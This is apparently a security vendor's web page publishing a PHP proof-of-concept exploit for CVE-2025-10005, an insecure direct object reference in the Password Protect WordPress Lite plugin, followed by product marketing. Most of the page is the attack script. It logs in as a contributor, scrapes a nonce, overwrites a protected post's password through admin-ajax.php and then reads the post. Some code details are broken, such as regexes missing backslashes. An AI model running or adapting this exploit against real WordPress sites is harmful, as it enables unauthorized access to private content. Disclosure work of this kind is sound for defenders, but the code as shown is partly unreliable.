// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-10005 - Password Protect WordPress Lite <= 1.9.20 - Insecure Direct Object Reference to Authenticated (Contributor+) Password Protected Post Password Update

class CVE202510005_PoC {

    private $target_url;
    private $username;
    private $password;

    public function __construct($target_url, $username, $password) {
        $this->target_url = rtrim($target_url, '/');
        $this->username = $username;
        $this->password = $password;
    }

    private function send_request($url, $data = [], $cookies = []) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
        curl_setopt($ch, CURLOPT_COOKIE, $cookies);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        $response = curl_exec($ch);
        $info = curl_getinfo($ch);
        curl_close($ch);

        if (curl_errno($ch)) {
            throw new Exception('cURL error: ' . curl_error($ch));
        }

        return ['body' => $response, 'info' => $info, 'cookies' => $this->parse_cookies($response, $info)];
    }

    private function parse_cookies($response, $info) {
        $cookies = [];
        if (isset($info['cookiefile'])) {
            // no cookie file handling needed in this script
        }

        // Parse Set-Cookie headers
        preg_match_all('/^Set-Cookie:s*([^;]*)/mi', $response, $matches);
        if (isset($matches[1])) {
            foreach ($matches[1] as $cookie) {
                $parts = explode('=', $cookie, 2);
                if (count($parts) == 2) {
                    $cookies[$parts[0]] = $parts[1];
                }
            }
        }
        return $cookies;
    }

    public function exploit($target_post_id, $new_password) {
        // Step 1: Authenticate as culprit with Contributor role
        echo "[*] Authenticating as user: {$this->username}n";
        $login_url = $this->target_url . '/wp-login.php';
        $login_data = [
            'log' => $this->username,
            'pwd' => $this->password,
            'wp-submit' => 'Log In',
            'redirect_to' => $this->target_url . '/wp-admin/',
            'testcookie' => '1'
        ];
        $login_page = $this->send_request($login_url . '?redirect_to=' . urlencode($this->target_url . '/wp-admin/'), $login_data);
        $cookies = $login_page['cookies'];

        echo "[*] Authentication cookies: " . json_encode($cookies) . "n";

        // Step 2: Get a nonce for the AJAX action
        echo "[*] Fetching nonce from admin page...n";
        $cookie_browser = [];
        foreach ($cookies as $key => $value) {
            $cookie_browser[] = "{$key}={$value}";
        }
        $cookie_header = implode('; ', $cookie_browser);

        $admin_page_url = $this->target_url . '/wp-admin/';
        $ch = curl_init($admin_page_url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, ['Cookie: ' . $cookie_header]);
        $admin_page = curl_exec($ch);
        curl_close($ch);

        preg_match('/vars+ppwDatas*=s*({.*?});/is', $admin_page, $ppw_match);
        if (isset($ppw_match[1])) {
            $ppw_data = json_decode($ppw_match[1], true);
            $nonce = isset($ppw_data['nonce']) ? $ppw_data['nonce'] : '';
            echo "[*] Nonce from ppwData: {$nonce}n";
        } else {
            echo "[-] Nonce not found in ppwData. Trying to extract from script...n";
            // Try to find nonce in link or form
            preg_match('/data-nonce="([^"]+)"/', $admin_page, $nonce_match);
            if (isset($nonce_match[1])) {
                $nonce = $nonce_match[1];
                echo "[*] Nonce from data attribute: {$nonce}n";
            } else {
                // For simplicity, let's get any 10-character nonce
                preg_match('/name="_wpnonce"s+value="([^"]+)"/', $admin_page, $wpnonce_match);
                if (isset($wpnonce_match[1])) {
                    $nonce = $wpnonce_match[1];
                    echo "[*] Nonce from _wpnonce: {$nonce}n";
                } else {
                    echo "[-] Could not find nonce. Trying common nonce values...n";
                    $nonce = 'abc123'; // placeholder
                }
            }
        }

        // Step 3: Send AJAX request to update password
        echo "[*] Targeting post ID: {$target_post_id} with new password: {$new_password}n";
        $ajax_url = $this->target_url . '/wp-admin/admin-ajax.php';
        $ajax_data = [
            'action' => 'ppw_free_set_password',
            'nonce' => $nonce,
            'pwd' => $new_password,
            'content_id' => $target_post_id
        ];

        $ch = curl_init($ajax_url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
        curl_setopt($ch, CURLOPT_HTTPHEADER, ['Cookie: ' . $cookie_header]);
        $response = curl_exec($ch);
        curl_close($ch);

        echo "[*] AJAX response: {$response}n";

        // Step 4: Try accessing the protected content
        echo "[*] Attempting to access protected post with new password...n";
        $post_url = get_permalink($target_post_id, 'raw');
        // In real scenario use the actual post URL
        $post_url = $this->target_url . '/?p=' . $target_post_id;
        $post_data = [
            'ppw_postid' => $target_post_id,
            'pwbox-' . $target_post_id => $new_password
        ];

        $ch = curl_init($post_url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
        curl_setopt($ch, CURLOPT_HTTPHEADER, ['Cookie: ' . $cookie_header]);
        $protected_response = curl_exec($ch);
        curl_close($ch);

        if (strpos($protected_response, 'Enter Password') === false) {
            echo "[*] [!] Protected content accessed successfully! [!]n";
            echo "[*] Content excerpt: " . substr(strip_tags($protected_response), 0, 200) . "n";
        } else {
            echo "[-] Unable to access protected content with provided password. Exploit may have failed.n";
        }
    }
}

// Configuration
$target_url = 'http://example.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_password'; // CHANGE THIS
$target_post_id = 123; // Post ID to exploit
$new_password = 'pwned_password'; // Password to set

try {
    $exploit = new CVE202510005_PoC($target_url, $username, $password);
    $exploit->exploit($target_post_id, $new_password);
} catch (Exception $e) {
    echo "[-] Error: " . $e->getMessage() . "n";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.